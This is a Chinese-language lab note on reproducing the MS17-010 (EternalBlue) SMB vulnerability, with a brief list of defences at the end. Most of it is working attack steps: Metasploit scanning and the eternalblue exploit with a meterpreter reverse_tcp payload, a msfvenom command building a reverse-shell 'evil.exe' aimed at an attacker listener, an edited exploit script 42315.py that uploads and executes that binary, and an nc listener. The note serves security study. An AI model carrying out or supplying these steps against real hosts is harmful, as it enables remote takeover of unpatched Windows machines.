郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
漏洞学习之:MS17-010
MS17-010 漏洞通过向主机的 SMBv1 服务发送恶意命令造成举出,最终导致任意命令执行。在 Windows 系统中 SMB 服务默认是开启的,监听端口默认为 445。影响的系统版本有 Windows NT–WinServer 2012。
利用前提:目标主机关闭了防火墙
1 利用 MSF 复现 MS17-010 漏洞
-
查看 MSF 中关于 MS17-010 漏洞的模块 search ms17-010 -
使用 auxiliary/scanner/smb/smb_ms17_010 模块进行漏洞检测 use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.0.0/24
set threads 50
run
-
使用 exploit/windows/smb/ms17_010_eternalblue 模块进行漏洞利用 use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.0.19
set payload windows/x64/meterpreter/reverse_tcp
run
2 利用 MS17-010 攻击脚本复现漏洞
-
查看存在 MS17-010 漏洞的主机 nmap -A -p 445 --script vuln 192.168.0.19 -
查找可利用的攻击脚本 searchsploit ms17-010 -
选择 windows/remote/42315.py 攻击脚本进行复现 -
生成反弹 shell 的恶意程序 msfvenom lhost=192.168.0.2 lport=4444 -f exe --platform windows -p windows/shell_reverse_tcp > evil.exe -
修改 42315.py 脚本内容如下: # 目标主机账户名称:administrator
USERNAME = 'administrator'
# 目标主机账户密码:Admin123
PASSWORD = 'Admin123'
-
执行查看目标主机的 C 盘是否存在 pwned.txt 文档,如果存在,说明可以正常利用该攻击脚本 -
若执行脚本报错如下:则说明缺少 mysmb 模块 └─# python 42315.py 192.168.0.19
Traceback (most recent call last):
File "42315.py", line 3, in <module>
from mysmb import MYSMB
ImportError: No module named mysmb
# 解决方案:
git clone https://github.com/worawit/MS17-010
并将 42315.py 脚本也移动到该目录下,再执行
-
修改 42315.py 脚本的 Payload,以便返弹 shell def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
# print('creating file c:\\pwned.txt on the target')
# tid2 = smbConn.connectTree('C$')
# fid2 = smbConn.createFile(tid2, '/pwned.txt')
# smbConn.closeFile(tid2, fid2)
# smbConn.disconnectTree(tid2)
smb_send_file(smbConn, '要上传文件的完整路径', '上传的盘符位置', '/上传的文件名')
service_exec(conn, r'cmd /c c:\\上传的文件名')
# Note: there are many methods to get shell over SMB admin session
# a simple method to get shell (but easily to be detected by AV) is
# executing binary generated by "msfvenom -f exe-service ..."
-
本地配置监听反弹 shell 链接 nc -nvlp 4444 -
执行攻击脚本并确认建立反弹 shell 链接
3 防御 EternalBlue 方法
- 禁用 SMBv1 协议
- 打开 Windows Update,或者手动安装 KB2919355
- 使用防火墙阻止 445 端口的连接,或通过进/出站规则阻止 445 端口
- 安装杀毒软件
|